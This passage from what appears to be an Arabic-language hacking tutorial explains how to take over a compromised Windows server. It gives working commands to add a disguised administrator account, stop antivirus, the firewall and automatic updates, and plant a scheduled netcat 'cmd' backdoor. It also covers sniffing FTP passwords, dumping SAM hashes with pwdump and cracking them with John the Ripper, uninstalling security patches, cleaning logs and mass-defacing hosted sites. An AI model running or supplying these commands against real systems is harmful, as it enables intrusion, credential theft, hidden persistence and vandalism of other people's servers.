لنفترض أن لديك حساب بصلاحيات مستخدم عادي على جهاز Xp أو server2000 . يمكن أن تستخدم هذه الثغرة في رفع صلاحياتك إلى مدير للنظام لتسيطر بالكامل على الهدف . وبعد أن تكون قد نسخت الثغرة على D:\ (لأنه لا يحق لك كمستخدم عادي كتابة أو إنشاء ونسخ ملفات على Systemroot يعني على C:\) قم بتطبيق الثغرة كالتالي على افتراض أن الهدف xp :

 

كما نشاهد نجحت الثغرة , وقامت بربط binding شل بصلاحيات system account على المنفذ 31337 . يمكن الآن أن نستخدم أداة Netcat للإتصال بالشل وإنشاء حساب جديد وإضافته لمجموعة مدراء النظام كالتالي:

 

 

والآن لديك حساب بصلاحيات مدير النظام يمكن أن تفعل به ما تشاء. وهناك الكثير من ثغرات اللوكال وتظهر فائدتها في الشبكات المحلية لأن معظم المستخدمين يحصلون على حسابات بصلاحيات محدودة.

 

************************************************************************************

خلاصة : افحص كل نقاط الضعف في النظام , وحاول أن تجد لها Exploit وجربه على السيرفر. ومن المؤكد أن الجميع سيواجه صعوبات في ذلك بسبب عملية التحديث الأوتوماتيكية للسيرفر. ويجب أن تكون استراتيجيتك أن تبحث عن بعض الخدمات التي يمكن ألا تشغلها برمجيات مايكروسوفت مثل SMTP + POP3  وإنما شركة أخرى لأنها لن تكون مغطاة في عملية التحديث الأوتوماتيكي مثل باقي برامج مايكروسوفت , وإنما يجب على مدير النظام القيام بذلك بشكل يدوي . ومن أمثلة هذه البرامج برنامج  Imail الخاص ب SMTP وغيره.

أيضا لا ننسى العقبة الأكبر في طريق أي هاكر وهو Firewall system الذي يؤمن حماية عالية للنظام

  Finish line: update patching + firewall = No chances for the kiddies.

************************************************************************************

 

Five 5 :Expand influence &control

 

 

 تبدأ الإثارة الحقيقية عندما تكون داخل السيرفر بعد تطبيق الثغرة بنجاح, وأعتقد أن هذا الجزء مهم وربما يكون جديد لكثير منكم ..

ما الذي يمكن أن تفعله على أي نظام ويندوز إذا حصلت على سطر أوامر منC:\systemroot\system32 بصلاحيات مطلقة؟

 

حقيقة هناك عشرات العمليات التي يمكن لك أن تنفذها على السيرفر من هذا المكان , ولو أردت أن أتحدث عنها جميعا فربما نحتاج إلى مشاركة خاصة ثانية عن هذا الموضوع بالتحديد. 

ولكن سأتحدث عن الأمر الرئيسي الذي يجب أن تقوم به , وهو تعزيز سيطرتك على السيرفر من خلال استراتيجية محكمة وشاملة تؤمن لك الأهداف التالية :

·        مراقبة السيرفر , وما يدور فيه من عمليات , والتجسس على الإتصالات الغير مشفرة لالتقاط كلمات السر للمستخدمين

FTP + Telnet + Http

·        القدرة على الدخول إلى السيرفر من جديد حتى لو تم ترقيع الثغرة , وفي أي وقت.

·        أن تكون لديك القدرة على تغيير إعدادات في النظام يمكن أن تعيق حركتك على السيرفر.

 

بداية , أول عملية يجب أن تقوم بها بعد التسلل إلى السيرفر هو فتح قناة اتصال بين جهازك والسيرفر عن طريق

 بروتوكول FTP , لأن هذه العملية ستؤمن لك القدرة على تحميل ما تحتاجه من ملفات وأدوات إلى السيرفر.

 

وكما نشاهد في الصورة , سأقوم بتحميل الملفات من جهازي المحلي إلى السيرفر المستهدف , ولعمل ذلك يجب أن أجعل من

, وأقوم بوضع كل الملفات التي أحتاجها بداخله.FTP Server جهازي المحلي  

ملاحظة : تتم العملية السابقة وأنت موجود على السيرفر, يعني الإتصال يتم من السيرفر لجهازك الشخصي وليس العكس .

يمكن أن تقوم بتركيب FTP Server على جهازك الشخصي , مثلا إذا كنت تعمل على XP على النحو التالي :

Start >> Run >>control >> add or remove programs.

ستظهر الشاشة التالية:

 

بعدها اختر internet information services(IIS) , واضغط على زر details في الأسفل كما يلي :

 

بعدها اختر File transfer protocol services (FTP) :

 

ضع CD Xp في مكانه cd-rom واضغط NEXT , وسينهي ويندوز عملية تنصيب FTP .

ملاحظة : يجب أن تقوم بهذه الخطوة أي أن تجعل جهازك FTP Server قبل الهجوم على السيرفر لتوفير الوقت وتكون مستعد , ولكن أنا شرحتها هنا لتتماشى مع سياق خطة الهجوم على السيرفر.

أكمل إعداد FTP Server باختيار Home directory وهو المكان الذي ستضع فيه كل ما تحتاجه من ملفات على جهازك المحلي

ولنفترض مثلا أنك وضعت كل ما تحتاجه من ملفات داخل مجلد يسمى Hack على المسار التالي :

D:\Hack

ملاحظة : الملفات التي أتحدث عنها هي كل ما تحتاجه للعمل على السيرفر , كل ملف أو أداة تعتقد أنها تفيدك وتسهل عليك العمل داخل السيرفر يمكن أن تقوم بنقلها للسيرفر عن طريق FTP .

لإعداد ذلك , قم بما يلي :

Start >> Run >> Inetmgr

بعدها ستدخل إلى IIS/5.1 , اختر FTP site ثم default Ftp site وانقر بيمين الفأرة واختار خصائص properties كالتالي:

 

اختر بعدها home directory ثم اكتب مسار المجلد الذي وضعت فيه ملفاتك على جهازك المحلي وهو هنا مثلا D:\Hack

 وبذلك تكون أنهيت إعداد جهازك لنقل الملفات.

 

نعود للعملية الرئيسية التي ذكرتها وهي السيطرة على السيرفر, ويتم ذلك بتنفيذ أمرين مهمين جدا وهما :

1-     إنشاء حساب جديد خاص بك وإضافته لمجموعة مدراء النظام , وتفعيل خدمة remote desktop إن كانت معطلة.

2-     تحطيم الدفاعات الموجودة على السيرفر مثل

 Firewall + anti-virus+built-in security configuration.

 

حتى هذه اللحظة , يجب أن تنفذ جميع العمليات من سطر الأوامر وهذا سيؤدي إلى إضاعة الوقت , بسبب أن بعض الأوامر طويلة وربما تقوم بكتابتها بشكل خاطئ , عدا عن كثرة الأوامر المطلوب تنفيذها. ولحل هذه المعضلة سنقوم بعمل ملف دفعي batch file ونضع فيه جميع الأوامر المطلوبة, ونقوم بتحميله من جهازنا المحلي إلى السيرفر لتنفيذ ما فيه من أوامر دفعة واحدة .

تعريف بسيط للملف الدفعي Batch file :

هو عبارة عن ملف يحمل امتداد .BAT أو .CMD يحوي مجموعة من الأوامر تنفذ دفعة واحدة من داخل الدوس. ولكتابة ملف دفعي افتح برنامج Notepad واكتب فيه الأوامر المطلوبة (كل أمر في سطر ) واحفظ الملف بامتداد  bat.

 

ومن أمثلة الأوامر التي يمكن أن ننفذها لتحقيق الأهداف التي ذكرتها في السابق ما يلي :

1-     لإضافة حساب جديد باسم يوزر جديد وكلمة سر بالمعطيات التالية :

User name : IUSR_Server password : 111mmM*/+$

نكتب الأمر التالي :

net user IUSR_Server 111mmM*/+$ /add

تنبيه: اختر إسم حساب مشابه للسابق لأنه هناك حسابات متشابهة معه في الإسم وهذا يؤدي إلى خداع الأدمن وعدم اكتشافه وجود الحساب بسهولة.

تنبيه آخر : اختر كلمة سر طويلة ومكونة من أرقام وحروف ورموز حتى يقبلها النظام, لأنه من الممكن أن تكون خاصية " تعقيد كلمات السر" ممكنة في النظام, وبالتالي سترفض أي كلمة سر لا تحقق الشرط المذكور وستحصل على رسالة الخطأ التالية:

The password does not meet the password policy requirements. Check the minimum

 Password length, password complexity and password history requirements.

 

More help is available by typing NET HELPMSG 2245.

2-     لإضافة الحساب السابق لمجموعة مدراء النظام  نكتب الأمر التالي:

net localgroup administrators IUSR_Server /add

3-     لتعطيل أي خدمة على السيرفر , يجب أن نقوم بداية بعمل استفسار لمعرفة ما هي الخدمات العاملة على السيرفر :

Sc query >> this will show the whole stuff one time, you can always use : Sc query | more

فمثلا لو كان السيرفر يشغل Norton Antivirus وأردت تعطيله فقم بكتابة الأمر التالي :

Sc stop navapsvc

4-     إذا كان السيرفر المستهدف ويندوز 2003, وكان يشغل Built-in firewall (ICF), فيمكن تعطيله كالتالي :

Sc stop sharedAccess

وأشير إلى أن معظم السيرفرات تستخدم نظم مختلفة للعمل ك Firewall , المهم اعرف ما هي الخدمات التي يجب تعطيلها ونفذ الأمر المطلوب لذلك.

5-     أحد أهم الدفاعات على السيرفر هو برنامج  التحديث التلقائي الذي تحدثت عنه في السابق , ويجب تعطيله أيضا :

Sc stop wuauserv   >> automatic update

ملاحظة : يجب كتابة الإسم القصير للخدمة المطلوبة , وهي تظهر عندما تقوم بعمل الاستفسار , على سبيل المثال كالتالي :

 

الآن وبعد هذا الشرح الطويل , سأتحدث عن سيناريو هجوم يمكن أن تقوم به في الواقع في حال اخترقت windows server

لأغراض توضيحية وحتى يتم الاستيعاب بشكل جيد , فإن العناوين المستخدمة في هذا السيناريو هي :

1-     عنوان جهازي المحلي :

IP / 192.168.0.1  

2-     عنوان السيرفر المستهدف

  IP / 192.168.0.10  hostname / server

 

قمت مثلا بتطبيق ثغرة ونجحت وأنت الآن واقف على الشل كالتالي :

 

وبعد أن تكون قد جعلت جهازك FTP Server , ووضعت فيه كل الملفات التي تحتاجها , افتح قناة اتصال بجهازك من السيرفر كالتالي لنقل كافة الملفات ( انتبه نحن الآن على السيرفر وليس على جهازنا المحلي ) :

 

كما تشاهدون  وأنا داخل السيرفر,قمت بالدخول إلى جهازي عن طريق الأمر التالي :

Ftp –i –A 192.168.0.1

واستخدمت –i –A كباراميترز وهنا شرح قصير لها :

 –i/ استخدمتها حتى يقوم السيرفر بنقل كافة الملفات عند استخدام الأمر mget *.* من دون أن يسأل في كل مرة Y/N

 -A/ استخدمتها لتسجيل الدخول بهوية Anonymous لتوفير الوقت فقط لأني لست بحاجة لكتابة إسم مستخدم وكلمة سر , ويمكن ألا تستخدمها أنت وتدخل بحسابك الشخصي على جهازك .

 

بعد ذلك نفذت أمر mget *.* والذي سيقوم بنقل كافة ملفاتي دفعة واحدة , على السيرفر.

بعد ذلك أمر bye للخروج من FTP والعودة إلى الشل ..

الآن , تمت عملية نقل جميع ملفاتي إلى السيرفر , ولكن : ما هي هذه الملفات ؟ وكيف تفيدنا ؟

سأتحدث الآن عن بعض الملفات التي يمكن أن تنقلها للسيرفر وتكون مفيدة لك جدا , وهنا أنقل لكم تجربتي الشخصية.

القاعدة التي يجب أن تتبعها هي أنك تنقل ملفات حجمها صغير ومفعولها كبير ويمكن أن تساعدك في تحقيق أهدافك التي تحدثت عنها في السابق . ( حاول دائما ألا تزيد عن 1MB ) مع أن هذا الرقم كبير.

فمثلا يمكن أن تنقل backdoor أو Keylogger أو Sniffer أو بعض الأدوات التي تساعدك في جمع المعلومات ومنها مثلا whoami , وغيرها الكثير .

كما يجب أن ننقل بعض مفاتيح الريجستري التي عن طريق أحدها مثلا يمكن أن نقوم بتفعيل خدمة remote desktop

 إذا ما كانت معطلة.

يمكن أن تقوم أيضا بتركيب سيرفر للمراقبة والسيطرة , ومن أشهر البرامج التي يمكن أن تؤدي هذا الدور برنامج vnc , فهو برنامج أكثر من رائع مع أنه مجاني , وغيرها الكثير الكثير.

وأحد أهم الملفات( مع أنها أصغر الملفات) هو الملف أو الملفات الدفعية التي تحدثت عنها في السابق والتي عن طريقها سننفذ جميع الأوامر دفعة واحدة.

وهنا مثلا صورة لبعض الملفات التي أستعملها , وكما نلاحظ صغر حجمها:

 

 

والملفات هي :

1-     Pwdump2.exe + samdump.dll >> tool to dump the password hashes from SAM file.

2-     nc >> backdoor

3-     ngSniff >> Sniffer

4-     whoami >>enumeration Tool >> work only in XP-2003

5-     winvnc4.exe + wm_hooks.dll + vnc.reg >> Vnc server

6-     TS.reg >> registry key to enable remote desktop + NoTS.reg >> disable remote desktop

7-     Mass_defacement >> IIS killer script for mass defacement

8-     Go.bat >> batch file to execute commands all one time.

9-     Out.bat >> batch file to cleanup the logs.

وكما قلت يمكن أن تختار ما يحلو لك من ملفات وأدوات .

 

الآن سنقوم بتنفيذ الملف الدفعي , وفي أقل من 10 ثواني ستسيطر على السيرفر بالكامل ويركع السيرفر تحت أصابعك.

ما هي الأوامر التي يمكن أن يحويها الملف الدفعي؟ إليكم بعض الأوامر :

net user IUSR_Server 111mmM*/+$ /add

net localgroup administrators IUSR_Server /add

reg import vnc.reg >> work only in XP-2003

winvnc4 -register

winvnc4 –start

reg import TS.reg  >> work only in XP-2003

Sc stop navapsvc  >> work only in XP-2003

Sc stop sharedAccess >> work only in XP-2003

Sc stop wuauserv >> work only in XP-2003

At 01:00 /every:Th nc -L -p 2250 -e cmd

NgSniff 0 >outcome.txt

والآن لشرح الأوامر :

1-     لإضافة حساب مستخدم جديد .

2-     لإضافة الحساب الجديد إلى مجموعة مدراء النظام .

3 + 4 + 5 – لتركيب سيرفر vnc .

6-     لتفعيل خدمة سطح المكتب البعيد, ويمكن أن نستغني عن هذا الأمر إذا كانت الخدمة مفعلة , وهو ما يمكن أن نعرفه أثناء عملية فحص السيرفر في البداية ورقم المنفذ  3389 فإذا كان مفتوح فهذا يعني أن الخدمة مفعلة .

( في هذا الأمر سنقوم بإضافة ملف TS.reg الذي يحوي مفاتيح تمكين خدمة Remote desktop إلى الريجستري )

ملاحظة : لاحظت من خلال تجربتي أن أكثر من 80% من السيرفرات التي فحصتها على الإنترنت تقوم بتفعيل خدمة

Desktop remote

كما أن بعض مدراء السيرفرات يستخدمون برنامج Vnc وهو يعمل على المنفذ 5800 وأيضا يمكن أن يظهر في عملية الفحص.

7-     لإيقاف برنامج نورتن المكافح للفيروسات( غير إسم الخدمة بما يتناسب مع ما هو موجود على السيرفر)

8-     لإيقاف Firewall الموجود في ويندوز ICF.

9-     لإيقاف خدمة Automatic update .

10-لتشغيل أداة nc لتعمل as backdoor على المنفذ 2250 , وتشغيل الشل كل يوم خميس الساعة 1.00 صباحا بالتوقيت المحلي للسيرفر المستهدف.

11-لتشغيل Sniffer و تخزين المخرجات في ملف يسمى outcome.txt .

ولا تنسى بعد أن تنتهي أن تسحب الملف السابق للحصول على كلمات السر للمستخدمين.

كما قلت يمكن أن تكتب ما تشاء من أوامر وتضعها في ملف دفعي لتنفذ دفعة واحدة .

تنبيه : تأكد من أن الأوامر التي تنفذها تكون موجودة built-in على السيرفر , فمثلا أمر Sc وأمر reg غير موجودين على windows2000 ويعملان فقط على 2003-XP ولذلك كن حذر, وأنت تكتب الأوامر.

بعد أن تكون نفذت الملف الدفعي داخل السيرفر , فأنت الآن تسيطر على السيرفر بشكل أقوى لأنك يمكن أن تستخدم برنامج Remote desktop .

وعندما تصل إلى هذه المرحلة , يمكن أن تعتبر نفسك تجلس أمام السيرفر بالضبط , وكأنك جالس أمام جهازك الشخصي, فهذا البرنامج ينقل لك console session من السيرفر إلى شاشتك كما هو وبكامل الإمكانيات .

وبما أن windows server 2003 هو multi-user, multi-session فهذا يعني أنه يمكن أن يعمل أكثر من مستخدم على النظام في نفس الوقت من دون أن يشعر أي منهما بالآخر . وهي فرصة كبيرة لك لأنك وأنت تعمل عن طريق

Remote desktop فلن يلاحظ وجودك أحد.

وكل شيء يمكن أن تفعله على جهازك , يمكن أن تقوم به على السيرفر.

وإذا كان السيرفر يشغل برنامج vnc , يمكن أن تقوم باستخراج كلمة السر الخاصة بالبرنامج من الريجستري عن طريق برنامج يسمى vnCrackx4. ( إذا احتاج أحدكم طريقة عمل ذلك ممكن يراسلني على إيميلي )

 

واستكمالا للحديث عن أهدافنا , وأحدها تحطيم دفاعات السيرفر , إليكم هذه العمليات .

حتى تفهم الكلام التالي يجب أن يكون لديك فهم لبيئة عمل windows server وفهم GPO التي تحوي إعدادات تتحكم في سلوك النظام.

هناك إعداد خاص في ويندوز يمكن أن يمنعك من أداء عملك , وهو موجود في Group policy object GPO .

 

وهذه الخاصية موجودة في Windows server 2003 , وهي تمكن مدير النظام من وضع قيود على عضوية مجموعات معينة والتحكم من يكون مؤهل لعضوية تلك المجموعات , وتسمى Restricted Group .

فمثلا يمكن لمدير النظام أن يحدد أن العضو الوحيد الذي يحق له أن يكون عضو في مجموعة administrators هو حساب مدير النظام المدمج الذي يحمل الإسم john مثلا .

وبالتالي فإن الحساب الذي أنشاناه في السابق سيفقد عضوية مجموعة administrators كلما حصل تنشيط ل GPO .

والتنشيط يحصل في ويندوز بحسب النظام ودوره فإذا كان السيرفر " متحكم ميدان " أو Domain controller فإن التنشيط يحصل كل 5 دقائق , وإذا كان السيرفر stand-alone فإن التنشيط يحصل كل 90 دقيقة .

في الغالب لا يكون الويب سيرفر متحكم ميدان , وهذا يعني أن الحساب الذي أنشأناه سيعمل لمدة 90 دقيقة فقط وبعدها سيتم حذفه بشكل تلقائي من عضوية مجموعة Administrators .

وبالتالي فإن أحد العمليات الرئيسية التي عليك القيام بها بعد الإتصال عن طريق Remote desktop هو التأكد إذا ما كان هناك أي قيود وحذفها على الفور . والخاصية موجودة على المسار التالي بعد فتح GPO Editor

Computer configuration\windows settings\security settings\Restricted groups

ملاحظة : هذه الخاصية لا تحوي أي إعدادات افتراضية وبالتالي لا يوجد أي قيود على عضوية أي مجموعة , وهذا يعني أن مدير النظام يجب أن يضبط هذه الإعدادات بشكل صريح , إذا ما أراد وضع قيود على عضوية بعض المجموعات.

للوصول إلى gpo editor اكتب التالي :

Start >> Run >> gpedit.msc

وهذه صورة لمسار هذه الخاصية :

 

 

أيضا يمكن أن تقوم بعملية ذكية وتقوم بحذف الرقعات الأمنية السابقة المركبة على السيرفر عن طريق

 Add/remove program داخل لوحة التحكم.

وهناك أرقام خاصة لكل رقعة تصدرها مايكروسوفت , وعليك أن تعرفها حتى تعمل بشكل احترافي وتجنب حذف رقعات يمكن أن تؤدي إلى إيذاء السيرفر بشكل مباشر يعني أن تحذف رقعة RPC أو رقعة Sasser مثلا , وقم بحذف رقع لم يستغلها أي فايروس من قبل.

ملاحظة : عندما تقوم بتركيب رقعة أمنية للويندوز , فإن النظام يتعامل معها وكأنها برنامج يمكن حذفه , وقامت مايكروسوفت بذلك لأن بعض الرقعات يمكن أن تؤدي إلى مشاكل في النظام وإلى إيقاف عمل بعض البرامج, وتعطيك فرصة حذفها.

انظر إلى الصورة التالية داخل add/remove program :

 

 

فكما نلاحظ هناك رقعات hotfix مركبة على السيرفر أحدها هي KB824146 وهي كما نعرف رقعة RPC وفايروس بلاستر

ستظهر لك جميع الرقعات المركبة , فاختر منها ما تريد وقم بحذفها حتى تستطيع التسلل منها بعد ذلك إذا توفر لها ثغرة.

وهنا قائمة ببعض أرقام الرقعات الأمنية حتى 025-04 :

 

أيضا احرص على تعطيل برنامج Automatic update كما ذكرت في السابق إذا كان ممكن .

والخلاصة هي أن عملية توسيع وتعزيز السيطرة مهمة جدا , لأنك بعد أن تتقنها يمكن أن تستغل أي 0-day exploit للسيطرة على السيرفر وقبل أن يقوم الجميع بترقيعها , فأنت الآن تكون جاهز ومتحفز standby لأي ثغرة جديدة . والعكس صحيح فلو لم تكن تعرف ماذا تفعل وانت بداخل السيرفر , فيمكن ألا تتمكن من الدخول مرة أخرى لو رقعت الثغرة .

 

Six 6 : Hack the box

 

من المعروف أنه عندما تخترق سيرفرات لينكس , فإنك تذهب مسرعا لسحب ملف كلمات السر للحصول عليها وفك تشفيرها بعد ذلك , ولكن ألم تلاحظوا أني لم أتحدث عن ملف كلمات السر في ويندوز حتى الآن ؟

نعم وهذا متوقع لأنك لن تستطيع أن تصل إليه ولا بأي شكل كان , ولمزيد من المعلومات عن هذا الموضوع يمكن أن تقرأ مشاركتي التي كتبتها وأتناول في جزء منها ملف كلمات السر الخاص بالويندوز وهي على المسار التالي :

http://www.geocities.com/sevenmseven/topic_07.doc

ملاحظة : في بعض الأحيان الوصلة لا تعمل , وإذا حدث ذلك معك قم بما يلي للوصول وقراءة المشاركة :

أضغط بيمين الفأرة على الوصلة واختر save target as

أو اذهب إلى صفحة index كالتالي :

www.geocities.com/sevenmseven

ثم اختار اسم الملف topic_07.doc

-----------------------------------------------------------------------------------------------------------------------

إذن ما الحل ؟ كيف يمكن لنا أن نحصل على كلمات السر ؟

هناك أداة خطيرة تسمى Pwdump2 تساعدنا على إستخراج hashes من ملف Sam الخاص بكلمات المرور لجميع المستخدمين , يمكن لنا بعد ذلك وضع جميع hashes في ملف وتقديمه لأحد برامج الكسر لإستخراج كلمات السر ومن هذه البرامج :

1-John the ripper >> The top password cracking tool available on the net.

2-LC4 >> The best windows passwords auditing tool.

وسأشرح الأن الخطوات لعمل ذلك .

كما شاهدنا في السابق فقد قمت بتحميل أداة pwdump2 وملف DLL الخاص بها samdump على السيرفر , والأن للتنفيذ :

 

كما نشاهد في الصورة , فقد تمكنت الأداة من استخراج hashes لجميع المستخدمين على السيرفر , وقمت في الخطوة الثانية بتحويل المخرجات إلى ملف إسمه samPass.txt يحوي جميع أسماء المستخدمين وكلمات السر مشفرة بمقياس DES NTLM.

الخطوة التالية , تقديم هذا الملف إلى أحد برامج الكسر ومنها كما قلنا برنامج John the ripper , لكسر التشفير كالتالي :

كما تشاهدون فقد تمكن البرنامج من كشف كلمة سر واحدهي لمدير النظام , ويمكن أن تستخدم باقي الخيارات لكسر باقي كلمات السر. استخدمت أسلوب dictionary attack وهناك أساليب أخرى يعرفها الجميع ولا مجال لشرحها هنا.

الحل الآخر هو بتقديم الملف لبرنامج LC4 وهي عملية سهلة جدا ولن أتطرق إليها .

ملاحظة : هناك أداة أخرى مطورة تجمع بين الأداء الوظيفي لأداتي Pwdump+Pwdump2 هي Pwdump3e وهي خطيرة جدا لأنها قادرة على الوصول إلى ملف Sam واستخراج hashes لأجهزة عن بعد في حال كان لديك الصلاحيات اللازمة , وهي أي الصلاحيات ستكون متوفرة لك بعد أن تكون اخترقت السيرفر . وسأورد الآن مثال على استخدام هذه الأداة :

        

 كما نشاهد قمت بالهجوم على ملف Sam في السيرفر 192.168.0.10  وقمت بتحويل المخرجات في ملف اسمه samhashes

ويمكن أن تقوم بعرض hashes على الشاشة مباشرة كالتالي :

وهذه الصيغة الكاملة لتشغيل الأداة علما بأن المعطى الثالث والرابع اختياريين ويمكن أن تستغني عنهما :

Usage: PWDUMP3E machineName/IP [outputFile] [userName]

فإذا بوجود الصلاحيات أنت بحاجة فقط لعناويين أو أسماء الأجهزة , وفي معظم الأحيان يكون الجهاز أو السيرفر

 member of domain

وإذا كانت هذه هي الحالة فالموضوع سهل وبسيط جدا بوجود الأداة القوية netdom وهي جزء من برامج الدعم وتأتي مع windows server 2003 support tools أو مع XP CD

يمكن لهذه الأداة أن تقوم بعرض أسماء كافة الأجهزة في Domain , سيرفرات وأجهزة مستخدمين , وهذا مثال :

كما نشاهد قامت الأداة بعرض كافة أسماء الأجهزة في Domain , اختر بعدها أي جهاز لأستخراج hashes من ملف Sam

*********************************************************************************

 طريقة أخرى هي بتركيب Sniffer يقوم بالتقاط حزم البيانات التي تعبر من وإلى السيرفر المستهدف , لجميع أنواع الإتصالات ومن ضمنها FTP+Telnet الغير مشفرة .

ملاحظة : لن أدخل في تفاصيل promiscuous mode على اعتبار أن معظم الشبكات حاليا تعمل على switch وهو كما نعرف ذكي لأنه لا يرسل البيانات إلا لمصدرها فقط كما هو موجود في حزمة البيانات بعكس hub الذي يرسل حزمة البيانات لجميع البورتات وبالتالي لجميع الأجهزة.

هناك أداة تسمى ngSniff تعمل على كل أنظمة ويندوز المبنية على NT kernel مثل 2000-2003-XP .

هذه الأداة صغيرة جدا ( حجمها فقط 44KB) , وتعمل من دون الحاجة لتركيب أي Driver , وهذا يعطيها مرونة كبيرة في العمل . تقوم هذه الأداة عندما تعمل باكتشاف جميع بطاقات الشبكة على السيرفر وتعطيك الفرصة لأختيار NIC التي تريد أن تتجسس عليها . وعندما تشغل الأداة سيظهر لك التالي :

C:\windows\system32\ngsniff

NgSniff v1.0 by NGSEC Research Team <labs@ngsec.com>

FREEWARE command line Sniffer

Next Generation Security Technologies

http://www.ngsec.com

 

Usage: NGSNIFF <interface_num> [<address_to_ignore>]

 

Available interfaces:

0 69.20.11.37

1 69.20.11.38

 

هنا قمت بتشغيل الأداة وقامت باكتشاف بطاقتي شبكة وأتبعتها بعرض عناويين IP , وأعطت رقم 0 , 1 للعنوانين على التوالي .

بعد ذلك يمكن تشغيل الأداة لتتجسس على العنوان الأول مثلا , ولعمل ذلك نكتب الأمر التالي :

C:\windows\system32\ngsniff 0

بعد إصدارهذا الأمر ستنهال البيانات أمامك على الشاشة وبسرعة كبيرة جدا , وبالتالي لن تتمكن من معاينة البيانات وتحليلها لإستخراج كلمات السر .

ولحل هذه المشكلة يجب أن نقوم بتحويل المخرجات إلى ملف نصي , يمكن لنا سحبه وقراءته فيما بعد , ويتم كالتالي :

C:\windows\system32\ngsniff 0 >outcome.txt

استخدمنا علامة التوجيه > لتحويل المخرجات من الشاشة إلى ملف إسمه outcome.txt .

ستقوم الأداة بالتقاط الكثير من البيانات , منها مشفرة ومنها غير مشفرة , ويمكن أن يظهر لنا شيء شبيه بما لي :

---- Begin of data dump -----

75 73 65 72 20 58 2d 72 61 79 0d 0a                                USER X-ray..

----- End of data dump -----

 

 

IP HEADER 69.20.11.37 -> 69.20.11.38

------------------------------------------

 IP->version: 4

 IP->ihl: 5

 IP->tos: 0

 IP->tot_len: 74

 IP->id: 19651

 IP->frag_off: 64

 IP->ttl: 128

 IP->protocol: 6

 IP->checksum: 1462

 

TCP HEADER

----------

 TCP->sport: 21

 TCP->dport: 3063

 TCP->seq: 429995342

 TCP->ack: 1747533654

 TCP->off: 5

 TCP->flags: PUSH|ACK

 TCP->window: 64860

 TCP->checksum: 51624

 TCP->urp: 0

 

----- Begin of data dump -----

33 33 31 20 50 61 73 73 77 6f 72 64 20 72 65 71  331 Password req

75 69 72 65 64 20 66 6f 72 20 58 2d 72 61 79 2e  uired for X-ray.

0d 0a                                            ..

----- End of data dump -----

 

 

IP HEADER 69.20.11.37 -> 69.20.11.38

------------------------------------------

 IP->version: 4

 IP->ihl: 5

 IP->tos: 0

 IP->tot_len: 53

 IP->id: 41432

 IP->frag_off: 64

 IP->ttl: 128

 IP->protocol: 6

 IP->checksum: 50592

 

TCP HEADER

----------

 TCP->sport: 3063

 TCP->dport: 21

 TCP->seq: 1747533654

 TCP->ack: 1000420686

 TCP->off: 5

 TCP->flags: PUSH|ACK

 TCP->window: 17031

 TCP->checksum: 13506

 TCP->urp: 0

 

----- Begin of data dump -----

70 61 73 73 20 39 35 32 38 36 33 0d 0a                                PASS 952863..

----- End of data dump -----

كما نشاهد قام أحد المستخدمين بالدخول إلى حسابه عن طريق بروتوكول FTP ونجحت الأداة في التقاط إسم المستخدم وكلمة السر , كما يظهران باللون الأصفر . ولكن ربما نواجه مشكلة وهي أن ملف المخرجات سيكبر في كل لحظة وقد نواجه صعوبة في نقله لجهازنا بغرض تحليله. هناك حلان: الأول أن نقوم بعمل توقيت للأداة بحيث تتوقف عن العمل بعد يومين أو ثلاثة مثلا عن طريق أداة Schtasks, والثاني أن نترك الأداة تعمل ونستخدم أمر findstr لإستخراج سريع لأسماء المستخدمين وكلمات السر الخاصة بهم , ويكون ذلك عن طريق الأمر التالي :

C:\windows\system32\ findstr /n "USER PASS" outcome.txt

حيث سيقوم الأمر بالبحث عن كلمتي PASS+USER ( أحرف كبيرة) وسيعرض كل سطر يحويهما , كالتالي :

1064:55 53 45 52 20 61 64 6d 69 6e 69 73 74 72 61   USER X-ray..

1125:50 41 53 53 20 63 6f 6d 6d 61 6e 64 0d 0a        PASS 952863..

 

وهناك أدوات Sniffer كثيرة خاصة بالويندوز , ولكنها بحاجة لتركيب Driver لتعمل بشكل صحيح ولكن هذه الأداة تؤدي الغرض المطلوب وهي صغيرة ولا تحتاج ل Driver كما قلت في السابق , ولذلك فهي خيار جيد.

يمكن أيضا أن تزرع Keylogger في النظام , وعندما تفعل ذلك يجب أن تتأكد أنه غير مكتشف من Anti-virus , فهو يعطيك كل طرقة من لوحة المفاتيح على السيرفر في ملف مقروء وسهل ويرسله لإيميلك , وهو أداة التجسس الأولى وبلا منازع . وبالنسبة للبرامج التي يمكن أن تؤدي هذا الدور , فهي كثيرة جدا ولا أقترح برنامج معين . ولو كانت لديك خبرة بالبرمجة يمكن أن تبرمج key logger خاص بك .

ملاحظة : فرق بين Keylogger وبين Sniffer , فهما شيئان مختلفان وكل له دوره ووظيفته . فالأول يقوم بتسجيل كل طرقة على لوحة المفاتيح ويقوم بتخزينها , بينما الثاني يقوم بالتقاط حزم البيانات التي تمر خلال الشبكة من وإلى السيرفر والتي قد تحوي أسماء مستخدمين وكلمات سر.  

                      

سأتحدث الآن عن قضية محببة لقلوبكم جميعا وهي web defacement وتغيير الصفحة الرئيسية index للمواقع على السيرفر.

وهنا سأتحدث عن حالتين وهما :

1-     إذا كان السيرفر يحوي أو يشغل موقع واحد.

2-     إذا كان الجهاز ويب سيرفر ويقدم خدمات استضافة ويحوي الكثير من المواقع.

 

لتستطيع تغيير صفحة index.htm في كلتا الحالتين يجب أن تقوم بمعرفة مكان Home directory لجميع المواقع , وهو المكان الذي تخزن فيه ملفات المواقع على السيرفر, وقد يقوم مدير النظام بتخزين ملفات المواقع في مكان واحد أو في أماكن متفرقة .

وكما نعرف جميعا فإن المسار الإفتراضي في ويندوز لملفات الويب سيرفرهو :

C:\inetpub\wwwroot

ولكن ولأن ذلك قد يشكل خطر على النظام ( نظرا لوجوده على c:\ ) يقوم webadmin بتغيير مكانه إلى مكان آخر.

 الحالة الأولى : لنفترض أنك وجدت مكان ملفات الموقع , يمكن أن تنفذ أحد الأمرين :

1-     Echo this site was hacked By ……. > % Home directory%\index.htm

حيث % Home directory%\ هي مكان ملفات الموقع .

سيقوم هذا الأمر بعرض ما كتبته بعد أمر Echo في صفحة بيضاء فارغة , وأعتقد أنها لا تعجب أحدا منكم .

2- for /f "delims=;" %I in ('dir /A:d /b') do copy /y index.htm "%I\index.htm"

هذا الأمر سيقوم بنسخ صفحة index.htm الخاصة بك والتي يفترض أنك نقلتها إلى السيرفر في مجلد الموقع

ولو كانت ملفات المواقع في مكان واحد , فسيقوم الأمر السابق بتغيير صفحات جميع المواقع وإنجاز mass defacement

ملاحظة : يمكن أن تقوم بتجربة الأمر السابق على جهازك الشخصي , ولعمل ذلك قم بما يلي :

